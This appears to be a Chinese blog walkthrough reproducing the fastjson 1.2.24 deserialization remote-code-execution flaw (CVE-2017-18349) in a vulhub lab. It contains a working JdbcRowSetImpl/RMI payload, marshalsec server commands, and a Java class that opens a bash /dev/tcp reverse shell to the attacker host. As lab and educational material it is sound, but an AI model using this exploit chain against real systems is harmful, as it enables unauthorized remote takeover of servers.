Fastjson 1.2.24 反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
写在前面
CVE-2017-18349 指的是 fastjson 1.2.24 及之前版本存在的反序列化漏洞,fastjson 于 1.2.24 版本后增加了反序列化白名单;
而在 2019 年,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
关于这两个漏洞的复现环境在 vulhub 下都有:
本篇博客主要介绍 1.2.24-rce 的复现,即 fastjson 1.2.24 反序列化导致任意命令执行漏洞。
攻击机:kali Linux(192.168.249.128)
靶机:kali Linux(192.168.249.132)
目录
一、什么是 Fastjson
二、漏洞原理
三、影响版本
四、环境搭建
五、漏洞验证
六、漏洞利用
1、marshalsec 安装
2、java 环境安装
3、命令执行
4、反弹shell
~~~~~~~~~~~~ 正文开始 ~~~~~~~~~~~~
一、什么是 Fastjson
Fastjson 是一个 Java 库,用于在 Java 对象和 JSON 数据之间进行转换,它提供了一种简单而高效的方式来序列化 Java 对象为 JSON 格式的字符串,以及将 JSON 字符串反序列化为 Java 对象。Fastjson 支持各种类型的 Java 对象,包括预先存在但没有源代码的对象。
二、漏洞原理
fastjson 在解析 JSON 数据时存在自动类型转换功能(autoType),利用该功能构造恶意 JSON 数据,使其在反序列化过程中触发漏洞利用链,从而实现恶意代码的执行。
详细过程分析:
1、目标网站在解析 JSON 数据时,未对 JSON 内容进行验证,直接将 JSON 解析成 Java 对象并执行。
2、攻击者构造特定的 payload(负载),其中包含恶意的 Java 对象及执行代码。
3、攻击者控制 URL 参数为之前开启的恶意 RMI 服务器地址,或者通过其他方式将恶意 JSON 数据传递给目标网站。
4、恶意 RMI 服务器返回 ReferenceWrapper 类,这是 Java 远程方法调用(RMI)中的一种对象类型。
5、目标网站在执行 lookup 操作时,通过 decodeObject 方法将 ReferenceWrapper 类转换成 Reference 类,然后远程加载并实例化攻击者恶意构造的 Factory 类,这个 Factory 类通常包含了恶意代码的执行逻辑,在实例化时触发 Factory 类中的静态代码段,从而执行恶意代码。
三、影响版本
受影响版本范围:fastjson<=1.2.24
四、环境搭建
操作对象 -- 靶机:kali Linux(192.168.249.132)
克隆好靶场后,进入到 1.2.24-rce 目录下
执行命令拉取镜像环境:
docker-compose up -d
这里的 docker-compose.yml 文件默认是将镜像的 80 端口映射到本地的 8090 端口
查看运行的容器:
docker ps
可以看到确实是在 8090 端口
直接访问本地的 8090 端口
靶场环境搭建成功,并且可以看到 JSON 格式的输出
当然,我们后续用另一台 kali 去复现时,则访问其内网 ip 的 8090 端口即可
我这里就是:192.168.249.132:8090
五、漏洞验证
操作对象 -- 攻击机:kali Linux(192.168.249.128)
使用 curl 命令发送 post 请求
curl http://192.168.249.132:8090/ -H "Content-Type: application/json" --data '{"age":21,"name":"myon"}'
可以看到 age 和 name 都变为我们提交的值
成功返回了 json 格式的请求结果,未报错
基本上可以说明存在该漏洞
六、漏洞利用
操作对象 -- 攻击机:kali Linux(192.168.249.128)
1、marshalsec 安装
这是 github上的一个开源项目,java 反序列化利用工具
git clone https://github.com/mbechler/marshalsec.git
这里同样需要用到 maven ,关于 mvn 的安装与配置可以参考我之前的博客:
maven 的安装与配置(Command ‘mvn‘ not found)修改配置文件后新终端依旧无法识别到 mvn 命令-CSDN博客https://myon6.blog.csdn.net/article/details/136558685?spm=1001.2014.3001.5502安装好 maven 后,我们先刷新配置文件
source /etc/profile
之后在此终端键入 bash ,进入一个新 shell(注意:不是新开一个终端哦)
bash
切换到 marshalsec 文件夹下,如下图:
cd marshalsec
mvn clean package -DskipTests
在 marshalsec 目录下,我们对工具进行编译,生成 jar 包
mvn clean package -DskipTests
编译完成后如下图:
存在一些警告可以忽略,只要没有报错,显示 success
此时在 marshalsec 下会多出一个 target 目录
切换到 target 目录即可看到 jar 文件,也就是一会儿我们要使用到的工具
2、java 环境安装
有 java 命令不一定有 javac 命令
kali 是自带了 java 环境的,但是如果你执行命令那些还是有问题,可以尝试重新装一下 java 环境
使用如下命令可以实现快速安装:
cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
完成后检查一下:
javac -versionjava -version
3、命令执行
首先编译恶意类代码,在攻击机上新建一个名为 TouchFile.java 的文件
内容为:
该代码尝试在靶场的 /tmp 目录下创建一个名为 myon 的文件
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/myon"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {
// do nothing}}
}
对该文件进行编译,使用命令 javac(注意不是Java!用 java 会报错的)
javac TouchFile.java
执行完成后我们可以得到一个 .class 文件
使用 python 搭建 http 服务,传输恶意文件
python -m http.server 6666
靶机访问其 6666 端口就可以看到恶意文件
如果 6666 端口访问受限制可以参考我前面博客解决:
解决火狐浏览器访问地址受限制问题(This address is restricted)-CSDN博客https://blog.csdn.net/Myon5/article/details/136587633?spm=1001.2014.3001.5501 当然这里也不是一定要用 6666 端口,用一个未被占用的就行
接下来我们通过 marshalsec 启动一个 RMI 服务器,监听 1234 端口
并指定加载远程类 TouchFile.class
其中 ip 为攻击机的 ip ,端口号为我们刚才开启的 http 服务端口号,结尾端口号为监听端口号
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.128:6666/#TouchFile" 1234
然后我们在攻击机请求靶场地址:192.168.249.132:8090,并且使用 burpsuite 抓包
利用 burpsuite 向 靶场主机发送 payload,带上RMI地址
payload :
(host 为目标靶场所在地址,dataSourceName 中的 ip 为攻击机 ip 和前面的监听端口)
POST / HTTP/1.1Host: 192.168.132.128:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 167{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.249.128:1234/TouchFile","autoCommit":true}}
再次查看 RMI 服务器,可以看到已经发送了 TouchFile.class
而我们监听的 http 服务 6666 端口也有回显:
192.168.249.132(靶机)访问了我们 http 服务下存放的恶意文件 TouchFile.class
我们进入靶机 docker 容器看一下:
docker exec -it 容器号 /bin/bash
切换到 tmp 目录下,对比发送 payload 前和发送 payload 后:
可以看到 myon 文件创建成功,也就是说我们远程命令执行成功
4、反弹shell
方法与命令执行一样,修改我们的恶意文件即可
在攻击机上修改我们的恶意文件 TouchFile.java,内容为:
其中的 ip 为攻击机 ip ,反弹 shell 到攻击机 7788 端口
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.249.128/7788 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
同样先进行编译
javac TouchFile.java
同一目录下就会生成 .class文件
为了避免大家混乱,我们刚才使用的那些端口号就不变:
开启 http 服务
python -m http.server 6666
开启 RMI 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.128:6666/#TouchFile" 1234
但是前面恶意代码里我们说了,我们要反弹 shell 到攻击机的 7788 端口
所以我们再开一个终端,监听 7788 端口
nc -lvnp 7788
此时,访问靶场地址,使用 burpsuite 抓包,添加 payload 后发包:
POST / HTTP/1.1Host: 192.168.249.132:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 169{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.249.128:1234/TouchFile","autoCommit":true}}
发包后没有收到响应
观察三个终端回显情况
http 服务:
网页被请求
RMI 服务:
恶意文件被发送
7788:
反弹 shell 成功
尝试执行命令:
可行,并且是 root 权限
关于Fastjson 1.2.24 反序列化导致任意命令执行漏洞的复现至此结束
我觉得最容易混乱的就是里面涉及到很多服务和端口号,除了环境搭建,其它全是在攻击机上面操作的,靶机只是提供一个渗透环境,恶意文件这些肯定也是放在攻击机上,因为是我们在使用啊,人家靶机那边没事干拿恶意文件来干啥,在复现前我参考了一些其他博客,把那个恶意文件放到了人家靶机的 1.2.24-rce 目录下,很容易误导人,因此这里给大家说清楚,不要弄错了。
最后给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
人工智能https://www.captainbed.cn/myon/
相关文章:

Fastjson 1.2.24 反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
写在前面 CVE-2017-18349 指的是 fastjson 1.2.24 及之前版本存在的反序列化漏洞,fastjson 于 1.2.24 版本后增加了反序列化白名单; 而在 2019 年,fastjson 又被爆出在 fastjson< 1.2.47 的版本中,攻击者可以利用特殊构造的 …...
Spring Boot 注解教程
Spring Boot 注解教程 在 Spring 和 Spring Boot 的世界里,注解(Annotations)起着至关重要的作用。它们为开发者提供了声明式编程的能力,大大简化了 Spring 应用的开发过程。在这篇博客中,我们将探讨 Spring Boot 中的…...

Day32-计算机基础2
Day32-计算机基础2 1. 什么是网络拓扑(Network Topology)?2. 网络拓扑3种经典模型2.1 网络拓扑结构-总线型2.2 网络拓扑结构-环形2.3 星型:2.4 网络拓扑结构总结 3.OSI网络模型概念*****3.1 OSI的概念:open system interconnect 开放系统互连…...

Stable Diffusion WebUI 中英文双语插件(sd-webui-bilingual-localization)并解决了不生效的情况
本文收录于《AI绘画从入门到精通》专栏,专栏总目录:点这里。 大家好,我是水滴~~ 本文介绍一款中英文对照插件 sd-webui-bilingual-localization,该插件可以让你的 Stable Diffusion WebUI 界面同时显示中文和英文,让我…...

AndroidStudio连不上adb报错ADB Connection Error
之前笔者一直通过AndroidStudio来看日志,也一直用的一套自己的SDK,用了好几年了。 但是突然有一天,AndroidStudio启动后就弹出警告窗:ADB Connection Error,如下: 在Event Log面板还持续性的输出&#x…...
Java程序员常用网站(推荐)
文章目录 一、下载网站1 Jdk下载2 清华大学开源软件镜像站2.1 Mysql下载 3 常见工具3.1 typora markdown文档编辑器3.2 Apifox 软件测试工具3.3 GIT3.4 Maven3.5 PDF转word3.6 office3.7 xmind 思维导图3.8 draw.io 画图 4 Java 技术书籍大全 PDF5 Java 8 编程思想中文版6 GitH…...

mq基础类设计
消息队列就是把阻塞队列这样的数据结构单独提取成一个程序独立进行部署。——>实现生产者消费者模型。 但是阻塞队列是在一个进程内部进行的; 消息队列是在进程与进程之间进行实现的, 解耦合:就是在分布式系统中,A服务器调用B…...

【Node.js从基础到高级运用】二、搭建开发环境
Node.js入门:搭建开发环境 在上一篇文章中,我们介绍了Node.js的基础概念。现在,我们将进入一个更实际的阶段——搭建Node.js的开发环境。这是每个Node.js开发者旅程中的第一步。接下来,我们将详细讨论如何安装Node.js和npm&#…...

kafka查看消息两种方式(命令行和软件)+另附发送消息方式
1、命令行方式 ①找到kafka安装文件夹 ②执行命令 #指定offset为指定时间作为消息起始位置 kafka-consumer-groups.sh \ --bootstrap-server 20.2.246.116:9092 \ --group group_1 \ --topic lanxin_qiao \ --reset-offsets \ --to-datetime 2023-07-19T01:00:00.000 \ -exe…...
设计模式 单例模式
单例模式就是在整个程序运行的过程中,这个类的实例化对象只有一个。 单例模式和private static 有密切的关系。 举一个例子: 一个wife,在法律允许的范围内,只能有一个。 public class Wife{private static Wife wife null; //…...

使用 Mendix 中的 OIDC 模块集成 Azure AD SSO
前言 在当今快速发展的数字化世界中,企业追求高效率和灵活性已成为常态。Mendix,作为一个先进的低代码开发平台,正是企业快速响应市场需求、加速数字化转型过程的利器。通过其直观的可视化开发环境,即使是非技术背景的用户也能设…...

day12_SpringCloud(Gateway,Nacos配置中心,Sentinel组件)
文章目录 1 Gateway组件1.1 Gateway简介1.2 Gateway入门1.3 网关路由流程图1.4 路由工厂1.5 过滤器1.5.1 过滤器简介1.5.2 内置过滤器1.5.3 路由过滤器1.5.4 默认过滤器1.5.5 全局过滤器1.5.6 过滤器执行顺序 2 Nacos配置中心2.1 统一配置管理2.2 Nacos入门2.2.1 Nacos中添加配…...
【基于springboot+Vue+Element ui的电影推荐之协同过滤算法简单实现】
基于springbootVueElement ui的电影推荐之协同过滤算法简单实现 1.基于用户的协同过滤算法的简单设计与实现1.1获取某个用户的评分矩阵1.2获取该用户与其他用户的相似度矩阵1.3获取两个用户之间的相似度并存储1.4返回推荐列表 2.基于物品的协同过滤算法的简单设计与实现2.1计算…...

签约仪式如何策划和安排流程?如何邀约媒体现场见证报道
传媒如春雨,润物细无声,大家好,我是51媒体网胡老师。 签约仪式的策划和安排流程,以及邀约媒体现场见证报道,都是确保活动成功和提升影响力的关键环节。以下是一些建议: 签约仪式的策划和安排流程 明确目标…...

k8s-生产级的k8s高可用(1) 24
高可用集群 实验至少需要三个master(控制节点),一个可以使外部可以访问到master的load balancer(负载均衡)以及一个或多个外部节点worker(也要部署高可用)。 再克隆三台主机 清理并重启 配置两…...
python中lambda简介及用法
什么是lambda? lambda是python中的一个关键字,它用于创建匿名函数,也就是没有名字的函数。lambda函数通常用于一些简单的操作,比如作为参数传递给其他函数,或者作为返回值返回给调用者。lambda函数的语法如下…...

AI新工具 百分50%算力确达到了GPT-4水平;将音乐轨道中的人声、鼓声、贝斯等音源分离出来等
1: Pi 百分50%算力确达到了GPT-4水平 Pi 刚刚得到了巨大的升级!它现在由最新的 LLMInflection-2.5 提供支持,它在所有基准测试中都与 GPT-4 并驾齐驱,并且使用不到一半的计算来训练。 地址:https://pi.ai/ 2: Moseca 能将音乐…...
websocket前端应用
基本了解 首先要对websocket有一个基本了解:WebSocket是一种在Web浏览器和Web服务器之间创建持久连接的技术。它允许在客户端和服务器之间进行全双工通信,而不需要在每次通信时都发起新的HTTP请求。主要作用包括实时通信、减少延迟、减少宽带消…...
SpringMVC05、结果跳转方式
5、结果跳转方式 5.1、ModelAndView 设置ModelAndView对象 , 根据view的名称 , 和视图解析器跳到指定的页面 . 页面 : {视图解析器前缀} viewName {视图解析器后缀} <!-- 视图解析器 --> <bean class"org.springframework.web.servlet.view.InternalResourc…...

STM32基础--位带操作
位带简介 位操作就是可以单独的对一个比特位读和写,这个在 51 单片机中非常常见。51 单片机中通过关键字 sbit 来实现位定义,STM32 没有这样的关键字,而是通过访问位带别名区来实现。 在 STM32 中,有两个地方实现了位带ÿ…...

【OSG学习笔记】Day 18: 碰撞检测与物理交互
物理引擎(Physics Engine) 物理引擎 是一种通过计算机模拟物理规律(如力学、碰撞、重力、流体动力学等)的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互,广泛应用于 游戏开发、动画制作、虚…...

Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
蓝桥杯 2024 15届国赛 A组 儿童节快乐
P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡,轻快的音乐在耳边持续回荡,小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下,六一来了。 今天是六一儿童节,小蓝老师为了让大家在节…...

如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...

如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...

华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色,华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型,能助力我们轻松驾驭 DeepSeek-V3/R1,本文中将分享如何…...

Redis数据倾斜问题解决
Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中,部分节点存储的数据量或访问量远高于其他节点,导致这些节点负载过高,影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...

以光量子为例,详解量子获取方式
光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学(silicon photonics)的光波导(optical waveguide)芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中,光既是波又是粒子。光子本…...

计算机基础知识解析:从应用到架构的全面拆解
目录 前言 1、 计算机的应用领域:无处不在的数字助手 2、 计算机的进化史:从算盘到量子计算 3、计算机的分类:不止 “台式机和笔记本” 4、计算机的组件:硬件与软件的协同 4.1 硬件:五大核心部件 4.2 软件&#…...